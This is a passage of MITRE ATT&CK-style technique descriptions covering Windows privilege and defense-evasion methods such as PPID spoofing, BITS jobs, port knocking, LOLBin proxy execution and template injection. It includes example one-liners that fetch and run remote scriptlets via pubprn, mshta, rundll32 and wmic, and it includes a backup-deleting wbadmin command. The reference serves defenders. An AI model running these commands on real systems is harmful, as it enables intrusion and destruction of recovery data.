Adversaries may abuse these mechanisms to evade defenses, such as those blocking processes spawning directly from Office documents, and analysis targeting unusual/potentially malicious parent-child process relationships, such as spoofing the PPID of PowerShell/Rundll32 to be <code>explorer.exe</code> rather than an Office document delivered as part of Spearphishing Attachment.(Citation: CounterCept PPID Spoofing Dec 2018) This spoofing could be executed via Visual Basic within a malicious Office document or any code that can perform Native API.(Citation: CTD PPID Spoofing Macro Mar 2019)(Citation: CounterCept PPID Spoofing Dec 2018)

Explicitly assigning the PPID may also enable elevated privileges given appropriate access rights to the parent process. For example, an adversary in a privileged user context (i.e. administrator) may spawn a new process and assign the parent as a process running as SYSTEM (such as <code>lsass.exe</code>), causing the new process to be elevated via the inherited access token.(Citation: XPNSec PPID Nov 2017)

T1134.005 – SID-History Injection

Adversaries may use SID-History Injection to escalate privileges and bypass access controls. The Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens. (Citation: Microsoft SID) An account can hold additional SIDs in the SID-History Active Directory attribute (Citation: Microsoft SID-History Attribute), allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens).

With Domain Administrator (or equivalent) rights, harvested or well-known SID values (Citation: Microsoft Well Known SIDs Jun 2017) may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators. This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as Remote Services, SMB/Windows Admin Shares, or Windows Remote Management.

T1140 – Deobfuscate/Decode Files or Information#

Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.

One such example is the use of certutil to decode a remote access tool portable executable file that has been hidden inside a certificate file.(Citation: Malwarebytes Targeted Attack against Saudi Arabia) Another example is using the Windows <code>copy /b</code> or <code>type</code> command to reassemble binary fragments into a malicious payload.(Citation: Carbon Black Obfuscation Sept 2016)(Citation: Sentinel One Tainted Love 2023)

Sometimes a user’s action may be required to open it for deobfuscation or decryption as part of User Execution. The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary.(Citation: Volexity PowerDuke November 2016)

T1197 – BITS Jobs#

Adversaries may abuse BITS jobs to persistently execute code and perform various background tasks. Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through Component Object Model (COM).(Citation: Microsoft COM)(Citation: Microsoft BITS) BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting other networked applications. File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations.

The interface to create and manage BITS jobs is accessible through PowerShell and the BITSAdmin tool.(Citation: Microsoft BITS)(Citation: Microsoft BITSAdmin)

Adversaries may abuse BITS to download (e.g. Ingress Tool Transfer), execute, and even clean up after running malicious code (e.g. Indicator Removal). BITS tasks are self-contained in the BITS job database, without new files or registry modifications, and often permitted by host firewalls.(Citation: CTU BITS Malware June 2016)(Citation: Mondok Windows PiggyBack BITS May 2007)(Citation: Symantec BITS May 2007) BITS enabled execution may also enable persistence by creating long-standing jobs (the default maximum lifetime is 90 days and extendable) or invoking an arbitrary program when a job completes or errors (including after system reboots).(Citation: PaloAlto UBoatRAT Nov 2017)(Citation: CTU BITS Malware June 2016)

BITS upload functionalities can also be used to perform Exfiltration Over Alternative Protocol.(Citation: CTU BITS Malware June 2016)

T1202 – Indirect Command Execution#

Adversaries may abuse utilities that allow for command execution to bypass security restrictions that limit the use of command-line interpreters. Various Windows utilities may be used to execute commands, possibly without invoking cmd. For example, Forfiles, the Program Compatibility Assistant (pcalua.exe), components of the Windows Subsystem for Linux (WSL), Scriptrunner.exe, as well as other utilities may invoke the execution of programs and commands from a Command and Scripting Interpreter, Run window, or via scripts.(Citation: VectorSec ForFiles Aug 2017)(Citation: Evi1cg Forfiles Nov 2017)(Citation: Secure Team - Scriptrunner.exe)(Citation: SS64)(Citation: Bleeping Computer - Scriptrunner.exe) Adversaries may also abuse the ssh.exe binary to execute malicious commands via the ProxyCommand and LocalCommand options, which can be invoked via the -o flag or by modifying the SSH config file.(Citation: Threat Actor Targets the Manufacturing industry with Lumma Stealer and Amadey Bot)

Adversaries may abuse these features for Stealth, specifically to perform arbitrary execution while subverting detections and/or mitigation controls (such as Group Policy) that limit/prevent the usage of cmd or file extensions more commonly associated with malicious payloads.

T1205 – Traffic Signaling#

Adversaries may use traffic signaling to hide open ports or other malicious functionality used for persistence or command and control. Traffic signaling involves the use of a magic value or sequence that must be sent to a system to trigger a special response, such as opening a closed port or executing a malicious task. This may take the form of sending a series of packets with certain characteristics before a port will be opened that the adversary can use for command and control. Usually this series of packets consists of attempted connections to a predefined sequence of closed ports (i.e. Port Knocking), but can involve unusual flags, specific strings, or other unique characteristics. After the sequence is completed, opening a port may be accomplished by the host-based firewall, but could also be implemented by custom software.

Adversaries may also communicate with an already open port, but the service listening on that port will only respond to commands or trigger other malicious functionality if passed the appropriate magic value(s).

The observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.

On network devices, adversaries may use crafted packets to enable Network Device Authentication for standard services offered by the device such as telnet. Such signaling may also be used to open a closed service port such as telnet, or to trigger module modification of malware implants on the device, adding, removing, or changing malicious capabilities. Adversaries may use crafted packets to attempt to connect to one or more (open or closed) ports, but may also attempt to connect to a router interface, broadcast, and network address IP on the same port in order to achieve their goals and objectives.(Citation: Cisco Synful Knock Evolution)(Citation: Mandiant - Synful Knock)(Citation: Cisco Blog Legacy Device Attacks) To enable this traffic signaling on embedded devices, adversaries must first achieve and leverage Patch System Image due to the monolithic nature of the architecture.

Adversaries may also use the Wake-on-LAN feature to turn on powered off systems. Wake-on-LAN is a hardware feature that allows a powered down system to be powered on, or woken up, by sending a magic packet to it. Once the system is powered on, it may become a target for lateral movement.(Citation: Bleeping Computer - Ryuk WoL)(Citation: AMD Magic Packet)

T1205.001 – Port Knocking

Adversaries may use port knocking to hide open ports used for persistence or command and control. To enable a port, an adversary sends a series of attempted connections to a predefined sequence of closed ports. After the sequence is completed, opening a port is often accomplished by the host based firewall, but could also be implemented by custom software.

This technique has been observed both for the dynamic opening of a listening port as well as the initiating of a connection to a listening server on a different system.

The observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.

T1205.002 – Socket Filters

Adversaries may attach filters to a network socket to monitor then activate backdoors used for persistence or command and control. With elevated permissions, adversaries can use features such as the libpcap library to open sockets and install filters to allow or disallow certain types of data to come through the socket. The filter may apply to all traffic passing through the specified network interface (or every interface if not specified). When the network interface receives a packet matching the filter criteria, additional actions can be triggered on the host, such as activation of a reverse shell.

To establish a connection, an adversary sends a crafted packet to the targeted host that matches the installed filter criteria.(Citation: haking9 libpcap network sniffing) Adversaries have used these socket filters to trigger the installation of implants, conduct ping backs, and to invoke command shells. Communication with these socket filters may also be used in conjunction with Protocol Tunneling.(Citation: exatrack bpf filters passive backdoors)(Citation: Leonardo Turla Penquin May 2020)

Filters can be installed on any Unix-like platform with libpcap installed or on Windows hosts using Winpcap. Adversaries may use either libpcap with pcap_setfilter or the standard library function setsockopt with SO_ATTACH_FILTER options. Since the socket connection is not active until the packet is received, this behavior may be difficult to detect due to the lack of activity on a host, low CPU overhead, and limited visibility into raw socket usage.

T1211 – Exploitation for Stealth#

Adversaries may exploit vulnerabilities to evade detection by hiding activity, suppressing logging, or operating within trusted or unmonitored components.

Adversaries may exploit a system or application vulnerability to avoid detection while maintaining access within an environment. Exploitation occurs when an adversary leverages a programming flaw to execute code in a manner that minimizes visibility or blends in with legitimate activity.

Rather than directly disabling defenses, adversaries may use exploitation to circumvent monitoring and logging mechanisms. This can include abusing vulnerabilities in logging pipelines, security tools, or cloud infrastructure to evade audit trails, suppress alerts, or operate without generating telemetry.

Adversaries may identify these opportunities through prior reconnaissance or by performing discovery of security controls after initial access. In some cases, vulnerabilities in SaaS or public cloud environments may be exploited to evade logging, obscure activity, or deploy infrastructure that remains hidden from standard monitoring tools.(Citation: Bypassing CloudTrail in AWS Service Catalog)(Citation: GhostToken GCP flaw)

T1216 – System Script Proxy Execution#

Adversaries may use trusted scripts, often signed with certificates, to proxy the execution of malicious files. Several Microsoft signed scripts that have been downloaded from Microsoft or are default on Windows installations can be used to proxy execution of other files.(Citation: LOLBAS Project) This behavior may be abused by adversaries to execute malicious files that could bypass application control and signature validation on systems.(Citation: GitHub Ultimate AppLocker Bypass List)

T1216.001 – PubPrn

Adversaries may use PubPrn to proxy execution of malicious remote files. PubPrn.vbs is a Visual Basic script that publishes a printer to Active Directory Domain Services. The script may be signed by Microsoft and is commonly executed through the Windows Command Shell via <code>Cscript.exe</code>. For example, the following code publishes a printer within the specified domain: <code>cscript pubprn Printer1 LDAP://CN=Container1,DC=Domain1,DC=Com</code>.(Citation: pubprn)

Adversaries may abuse PubPrn to execute malicious payloads hosted on remote sites.(Citation: Enigma0x3 PubPrn Bypass) To do so, adversaries may set the second <code>script:</code> parameter to reference a scriptlet file (.sct) hosted on a remote site. An example command is <code>pubprn.vbs 127.0.0.1 script:https://mydomain.com/folder/file.sct</code>. This behavior may bypass signature validation restrictions and application control solutions that do not account for abuse of this script.

In later versions of Windows (10+), <code>PubPrn.vbs</code> has been updated to prevent proxying execution from a remote site. This is done by limiting the protocol specified in the second parameter to <code>LDAP://</code>, vice the <code>script:</code> moniker which could be used to reference remote code via HTTP(S).

T1216.002 – SyncAppvPublishingServer

Adversaries may abuse SyncAppvPublishingServer.vbs to proxy execution of malicious PowerShell commands. SyncAppvPublishingServer.vbs is a Visual Basic script associated with how Windows virtualizes applications (Microsoft Application Virtualization, or App-V).(Citation: 1 - appv) For example, Windows may render Win32 applications to users as virtual applications, allowing users to launch and interact with them as if they were installed locally.(Citation: 2 - appv)(Citation: 3 - appv)

The SyncAppvPublishingServer.vbs script is legitimate, may be signed by Microsoft, and is commonly executed from \System32 through the command line via wscript.exe.(Citation: 4 - appv)(Citation: 5 - appv)

Adversaries may abuse SyncAppvPublishingServer.vbs to bypass PowerShell execution restrictions and evade defensive counter measures by “living off the land.”(Citation: 6 - appv)(Citation: 4 - appv) Proxying execution may function as a trusted/signed alternative to directly invoking powershell.exe.(Citation: 7 - appv)

For example, PowerShell commands may be invoked using:(Citation: 5 - appv)

SyncAppvPublishingServer.vbs "n; ｛PowerShell｝"

T1218 – System Binary Proxy Execution#

Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed, or otherwise trusted, binaries. Binaries used in this technique are often Microsoft-signed files, indicating that they have been either downloaded from Microsoft or are already native in the operating system.(Citation: LOLBAS Project) Binaries signed with trusted digital certificates can typically execute on Windows systems protected by digital signature validation. Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files or commands.

Similarly, on Linux systems adversaries may abuse trusted binaries such as <code>split</code> to proxy execution of malicious commands.(Citation: split man page)(Citation: GTFO split)

T1218.001 – Compiled HTML File

Adversaries may abuse Compiled HTML files (.chm) to conceal malicious code. CHM files are commonly distributed as part of the Microsoft HTML Help system. CHM files are compressed compilations of various content such as HTML documents, images, and scripting/web related programming languages such VBA, JScript, Java, and ActiveX. (Citation: Microsoft HTML Help May 2018) CHM content is displayed using underlying components of the Internet Explorer browser (Citation: Microsoft HTML Help ActiveX) loaded by the HTML Help executable program (hh.exe). (Citation: Microsoft HTML Help Executable Program)

A custom CHM file containing embedded payloads could be delivered to a victim then triggered by User Execution. CHM execution may also bypass application application control on older and/or unpatched systems that do not account for execution of binaries through hh.exe. (Citation: MsitPros CHM Aug 2017) (Citation: Microsoft CVE-2017-8625 Aug 2017)

T1218.002 – Control Panel

Adversaries may abuse control.exe to proxy execution of malicious payloads. The Windows Control Panel process binary (control.exe) handles execution of Control Panel items, which are utilities that allow users to view and adjust computer settings.

Control Panel items are registered executable (.exe) or Control Panel (.cpl) files, the latter are actually renamed dynamic-link library (.dll) files that export a <code>CPlApplet</code> function.(Citation: Microsoft Implementing CPL)(Citation: TrendMicro CPL Malware Jan 2014) For ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel.(Citation: Microsoft Implementing CPL) Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file.(Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014)(Citation: TrendMicro CPL Malware Dec 2013)

Malicious Control Panel items can be delivered via Phishing campaigns(Citation: TrendMicro CPL Malware Jan 2014)(Citation: TrendMicro CPL Malware Dec 2013) or executed as part of multi-stage malware.(Citation: Palo Alto Reaver Nov 2017) Control Panel items, specifically CPL files, may also bypass application and/or file extension allow lists.

Adversaries may also rename malicious DLL files (.dll) with Control Panel file extensions (.cpl) and register them to <code>HKCU\Software\Microsoft\Windows\CurrentVersion\Control Panel\Cpls</code>. Even when these registered DLLs do not comply with the CPL file specification and do not export <code>CPlApplet</code> functions, they are loaded and executed through its <code>DllEntryPoint</code> when Control Panel is executed. CPL files not exporting <code>CPlApplet</code> are not directly executable.(Citation: ESET InvisiMole June 2020)

T1218.003 – CMSTP

Adversaries may abuse CMSTP to proxy execution of malicious code. The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. (Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections.

Adversaries may supply CMSTP.exe with INF files infected with malicious commands. (Citation: Twitter CMSTP Usage Jan 2018) Similar to Regsvr32 / ”Squiblydoo”, CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP Aug 2017) and/or COM scriptlets (SCT) from remote servers. (Citation: Twitter CMSTP Jan 2018) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) This execution may also bypass AppLocker and other application control defenses since CMSTP.exe is a legitimate binary that may be signed by Microsoft.

CMSTP.exe can also be abused to Bypass User Account Control and execute arbitrary commands from a malicious INF through an auto-elevated COM interface. (Citation: MSitPros CMSTP Aug 2017) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018)

T1218.004 – InstallUtil

Adversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) The InstallUtil binary may also be digitally signed by Microsoft and located in the .NET directories on a Windows system: <code>C:\Windows\Microsoft.NET\Framework\v<version>\InstallUtil.exe</code> and <code>C:\Windows\Microsoft.NET\Framework64\v<version>\InstallUtil.exe</code>.

InstallUtil may also be used to bypass application control through use of attributes within the binary that execute the class decorated with the attribute <code>[System.ComponentModel.RunInstaller(true)]</code>. (Citation: LOLBAS Installutil)

T1218.005 – Mshta

Adversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017)

Mshta.exe is a utility that executes Microsoft HTML Applications (HTA) files. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications)

Files may be executed by mshta.exe through an inline script: <code>mshta vbscript:Close(Execute(“GetObject(""script:https[:]//webserver/payload[.]sct"")“))</code>

They may also be executed directly from URLs: <code>mshta http[:]//webserver/payload[.]hta</code>

Mshta.exe can be used to bypass application control solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer’s security context, it also bypasses browser security settings. (Citation: LOLBAS Mshta)

T1218.007 – Msiexec

Adversaries may abuse msiexec.exe to proxy execution of malicious payloads. Msiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi).(Citation: Microsoft msiexec) The Msiexec.exe binary may also be digitally signed by Microsoft.

Adversaries may abuse msiexec.exe to launch local or network accessible MSI files. Msiexec.exe can also execute DLLs.(Citation: LOLBAS Msiexec)(Citation: TrendMicro Msiexec Feb 2018) Since it may be signed and native on Windows systems, msiexec.exe can be used to bypass application control solutions that do not account for its potential abuse. Msiexec.exe execution may also be elevated to SYSTEM privileges if the <code>AlwaysInstallElevated</code> policy is enabled.(Citation: Microsoft AlwaysInstallElevated 2018)

T1218.008 – Odbcconf

Adversaries may abuse odbcconf.exe to proxy execution of malicious payloads. Odbcconf.exe is a Windows utility that allows you to configure Open Database Connectivity (ODBC) drivers and data source names.(Citation: Microsoft odbcconf.exe) The Odbcconf.exe binary may be digitally signed by Microsoft.

Adversaries may abuse odbcconf.exe to bypass application control solutions that do not account for its potential abuse. Similar to Regsvr32, odbcconf.exe has a <code>REGSVR</code> flag that can be misused to execute DLLs (ex: <code>odbcconf.exe /S /A {REGSVR “C:\Users\Public\file.dll”}</code>). (Citation: LOLBAS Odbcconf)(Citation: TrendMicro Squiblydoo Aug 2017)(Citation: TrendMicro Cobalt Group Nov 2017)

T1218.009 – Regsvcs/Regasm

Adversaries may abuse Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Regsvcs and Regasm are Windows command-line utilities that are used to register .NET Component Object Model (COM) assemblies. Both are binaries that may be digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm)

Both utilities may be used to bypass application control through use of attributes within the binary to specify code that should be run before registration or unregistration: <code>[ComRegisterFunction]</code> or <code>[ComUnregisterFunction]</code> respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: LOLBAS Regsvcs)(Citation: LOLBAS Regasm)

T1218.010 – Regsvr32

Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. The Regsvr32.exe binary may also be signed by Microsoft. (Citation: Microsoft Regsvr32)

Malicious usage of Regsvr32.exe may avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of allowlists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe can also be used to specifically bypass application control using functionality to load COM scriptlets to execute DLLs under user permissions. Since Regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. (Citation: LOLBAS Regsvr32) This variation of the technique is often referred to as a “Squiblydoo” and has been used in campaigns targeting governments. (Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 Targeting Mongolian Gov)

Regsvr32.exe can also be leveraged to register a COM Object used to establish persistence via Component Object Model Hijacking. (Citation: Carbon Black Squiblydoo Apr 2016)

T1218.011 – Rundll32

Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: <code>rundll32.exe ｛DLLname, DLLfunction｝</code>).

Rundll32.exe can also be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions <code>Control_RunDLL</code> and <code>Control_RunDLLAsUser</code>. Double-clicking a .cpl file also causes rundll32.exe to execute.(Citation: Trend Micro CPL) For example, ClickOnce can be proxied through Rundll32.exe.

Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: <code>rundll32.exe javascript:”..\mshtml,RunHTMLApplication “;document.write();GetObject(“script:https[:]//www[.]example[.]com/malicious.sct”)”</code> This behavior has been seen used by malware such as Poweliks.(Citation: This is Security Command Line Confusion)

Threat actors may also abuse legitimate, signed system DLLs (e.g., <code>zipfldr.dll, ieframe.dll</code>) with <code>rundll32.exe</code> to execute malicious programs or scripts indirectly, making their activity appear more legitimate and evading detection.(Citation: lolbas project Zipfldr.dll)(Citation: lolbas project Ieframe.dll)

Adversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command <code>rundll32.exe ExampleDLL.dll, ExampleFunction</code>, rundll32.exe would first attempt to execute <code>ExampleFunctionW</code>, or failing that <code>ExampleFunctionA</code>, before loading <code>ExampleFunction</code>). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending <code>W</code> and/or <code>A</code> to harmless ones.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Github NoRunDll) DLL functions can also be exported and executed by an ordinal number (ex: <code>rundll32.exe file.dll,#1</code>).

Additionally, adversaries may use Masquerading techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.(Citation: rundll32.exe defense evasion)

T1218.012 – Verclsid

Adversaries may abuse verclsid.exe to proxy execution of malicious code. Verclsid.exe is known as the Extension CLSID Verification Host and is responsible for verifying each shell extension before they are used by Windows Explorer or the Windows Shell.(Citation: WinOSBite verclsid.exe)

Adversaries may abuse verclsid.exe to execute malicious payloads. This may be achieved by running <code>verclsid.exe /S /C ｛CLSID｝</code>, where the file is referenced by a Class ID (CLSID), a unique identification number used to identify COM objects. COM payloads executed by verclsid.exe may be able to perform various malicious actions, such as loading and executing COM scriptlets (SCT) from remote servers (similar to Regsvr32). Since the binary may be signed and/or native on Windows systems, proxying execution via verclsid.exe may bypass application control solutions that do not account for its potential abuse.(Citation: LOLBAS Verclsid)(Citation: Red Canary Verclsid.exe)(Citation: BOHOPS Abusing the COM Registry)(Citation: Nick Tyrer GitHub)

T1218.013 – Mavinject

Adversaries may abuse mavinject.exe to proxy execution of malicious code. Mavinject.exe is the Microsoft Application Virtualization Injector, a Windows utility that can inject code into external processes as part of Microsoft Application Virtualization (App-V).(Citation: LOLBAS Mavinject)

Adversaries may abuse mavinject.exe to inject malicious DLLs into running processes (i.e. Dynamic-link Library Injection), allowing for arbitrary code execution (ex. <code>C:\Windows\system32\mavinject.exe PID /INJECTRUNNING PATH_DLL</code>).(Citation: ATT Lazarus TTP Evolution)(Citation: Reaqta Mavinject) Since mavinject.exe may be digitally signed by Microsoft, proxying execution via this method may evade detection by security products because the execution is masked under a legitimate process.

In addition to Dynamic-link Library Injection, Mavinject.exe can also be abused to perform import descriptor injection via its <code>/HMODULE</code> command-line parameter (ex. <code>mavinject.exe PID /HMODULE=BASE_ADDRESS PATH_DLL ORDINAL_NUMBER</code>). This command would inject an import table entry consisting of the specified DLL into the module at the given base address.(Citation: Mavinject Functionality Deconstructed)

T1218.014 – MMC

Adversaries may abuse mmc.exe to proxy execution of malicious .msc files. Microsoft Management Console (MMC) is a binary that may be signed by Microsoft and is used in several ways in either its GUI or in a command prompt.(Citation: win_mmc)(Citation: what_is_mmc) MMC can be used to create, open, and save custom consoles that contain administrative tools created by Microsoft, called snap-ins. These snap-ins may be used to manage Windows systems locally or remotely. MMC can also be used to open Microsoft created .msc files to manage system configuration.(Citation: win_msc_files_overview)

For example, <code>mmc C:\Users\foo\admintools.msc /a</code> will open a custom, saved console msc file in author mode.(Citation: win_mmc) Another common example is <code>mmc gpedit.msc</code>, which will open the Group Policy Editor application window.

Adversaries may use MMC commands to perform malicious tasks. For example, <code>mmc wbadmin.msc delete catalog -quiet</code> deletes the backup catalog on the system (i.e. Inhibit System Recovery) without prompts to the user (Note: <code>wbadmin.msc</code> may only be present by default on Windows Server operating systems).(Citation: win_wbadmin_delete_catalog)(Citation: phobos_virustotal)

Adversaries may also abuse MMC to execute malicious .msc files. For example, adversaries may first create a malicious registry Class Identifier (CLSID) subkey, which uniquely identifies a Component Object Model class object.(Citation: win_clsid_key) Then, adversaries may create custom consoles with the “Link to Web Address” snap-in that is linked to the malicious CLSID subkey.(Citation: mmc_vulns) Once the .msc file is saved, adversaries may invoke the malicious CLSID payload with the following command: <code>mmc.exe -Embedding C:\path\to\test.msc</code>.(Citation: abusing_com_reg)

T1218.015 – Electron Applications

Adversaries may abuse components of the Electron framework to execute malicious code. The Electron framework hosts many common applications such as Signal, Slack, and Microsoft Teams.(Citation: Electron 2) Originally developed by GitHub, Electron is a cross-platform desktop application development framework that employs web technologies like JavaScript, HTML, and CSS.(Citation: Electron 3) The Chromium engine is used to display web content and Node.js runs the backend code.(Citation: Electron 1)

Due to the functional mechanics of Electron (such as allowing apps to run arbitrary commands), adversaries may also be able to perform malicious functions in the background potentially disguised as legitimate tools within the framework.(Citation: Electron 1) For example, the abuse of teams.exe and chrome.exe may allow adversaries to execute malicious commands as child processes of the legitimate application (e.g., chrome.exe --disable-gpu-sandbox --gpu-launcher="C:\Windows\system32\cmd.exe /c calc.exe).(Citation: Electron 6-8)

Adversaries may also execute malicious content by planting malicious JavaScript within Electron applications.(Citation: Electron Security)

T1220 – XSL Script Processing#

Adversaries may bypass application control and obscure execution of code by embedding scripts inside XSL files. Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages. (Citation: Microsoft XSLT Script Mar 2017)

Adversaries may abuse this functionality to execute arbitrary files while potentially bypassing application control. Similar to Trusted Developer Utilities Proxy Execution, the Microsoft common line transformation utility binary (msxsl.exe) (Citation: Microsoft msxsl.exe) can be installed and used to execute malicious JavaScript embedded within local or remote (URL referenced) XSL files. (Citation: Penetration Testing Lab MSXSL July 2017) Since msxsl.exe is not installed by default, an adversary will likely need to package it with dropped files. (Citation: Reaqta MSXSL Spearphishing MAR 2018) Msxsl.exe takes two main arguments, an XML source file and an XSL stylesheet. Since the XSL file is valid XML, the adversary may call the same XSL file twice. When using msxsl.exe adversaries may also give the XML/XSL files an arbitrary file extension.(Citation: XSL Bypass Mar 2019)

Command-line examples:(Citation: Penetration Testing Lab MSXSL July 2017)(Citation: XSL Bypass Mar 2019)

• <code>msxsl.exe customers[.]xml script[.]xsl</code>
• <code>msxsl.exe script[.]xsl script[.]xsl</code>
• <code>msxsl.exe script[.]jpeg script[.]jpeg</code>

Another variation of this technique, dubbed “Squiblytwo”, involves using Windows Management Instrumentation to invoke JScript or VBScript within an XSL file.(Citation: LOLBAS Wmic) This technique can also execute local/remote scripts and, similar to its Regsvr32/ “Squiblydoo” counterpart, leverages a trusted, built-in Windows tool. Adversaries may abuse any alias in Windows Management Instrumentation provided they utilize the /FORMAT switch.(Citation: XSL Bypass Mar 2019)

Command-line examples:(Citation: XSL Bypass Mar 2019)(Citation: LOLBAS Wmic)

• Local File: <code>wmic process list /FORMAT:evil[.]xsl</code>
• Remote File: <code>wmic os get /FORMAT:”https[:]//example[.]com/evil[.]xsl”</code>

T1221 – Template Injection#

Adversaries may create or modify references in user document templates to conceal malicious code or force authentication attempts. For example, Microsoft’s Office Open XML (OOXML) specification defines an XML-based format for Office documents (.docx, xlsx, .pptx) to replace older binary formats (.doc, .xls, .ppt). OOXML files are packed together ZIP archives compromised of various XML files, referred to as parts, containing properties that collectively define how a document is rendered.(Citation: Microsoft Open XML July 2017)

Properties within parts may reference shared public resources accessed via online URLs. For example, template properties may reference a file, serving as a pre-formatted document blueprint, that is fetched when the document is loaded.

Adversaries may abuse these templates to initially conceal malicious code to be executed via user documents. Template references injected into a document may enable malicious payloads to be fetched and executed when the document is loaded.(Citation: SANS Brian Wiltse Template Injection) These documents can be delivered via other techniques such as Phishing and/or Taint Shared Content and may evade static detections since no typical indicators (VBA macro, script, etc.) are present until after the malicious payload is fetched.(Citation: Redxorblue Remote Template Injection) Examples have been seen in the wild where template injection was used to load malicious code containing an exploit.(Citation: MalwareBytes Template Injection OCT 2017)

Adversaries may also modify the <code>*\template</code> control word within an .rtf file to similarly conceal then download malicious code. This legitimate control word value is intended to be a file destination of a template file resource that is retrieved and loaded when an .rtf file is opened. However, adversaries may alter the bytes of an existing .rtf file to insert a template control word field to include a URL resource of a malicious payload.(Citation: Proofpoint RTF Injection)(Citation: Ciberseguridad Decoding malicious RTF files)

This technique may also enable Forced Authentication by injecting a SMB/HTTPS (or other credential prompting) URL and triggering an authentication attempt.(Citation: Anomali Template Injection MAR 2018)(Citation: Talos Template Injection July 2017)(Citation: ryhanson phishery SEPT 2016)

T1480 – Execution Guardrails#

Adversaries may use execution guardrails to constrain execution or actions based on adversary supplied and environment specific conditions that are expected to be present on the target. Guardrails ensure that a payload only executes against an intended target and reduces collateral damage from an adversary’s campaign.(Citation: FireEye Kevin Mandia Guardrails) Values an adversary can provide about a target system or environment to use as guardrails may include specific network share names, attached physical devices, files, joined Active Directory (AD) domains, and local/external IP addresses.(Citation: FireEye Outlook Dec 2019)

Guardrails can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This use of guardrails is distinct from typical Virtualization/Sandbox Evasion. While use of Virtualization/Sandbox Evasion may involve checking for known sandbox values and continuing with execution only if there is no match, the use of guardrails will involve checking for an expected target-specific value and only continuing with execution if there is such a match.

Adversaries may identify and block certain user-agents to evade defenses and narrow the scope of their attack to victims and platforms on which it will be most effective. A user-agent self-identifies data such as a user’s software application, operating system, vendor, and version. Adversaries may check user-agents for operating system identification and then only serve malware for the exploitable software while ignoring all other operating systems.(Citation: Trellix-Qakbot)

T1480.001 – Environmental Keying

Adversaries may environmentally key payloads or other features of malware to evade defenses and constraint execution to a specific target environment. Environmental keying uses cryptography to constrain execution or actions based on adversary supplied environment specific conditions that are expected to be present on the target. Environmental keying is an implementation of Execution Guardrails that utilizes cryptographic techniques for deriving encryption/decryption keys from specific types of values in a given computing environment.(Citation: EK Clueless Agents)

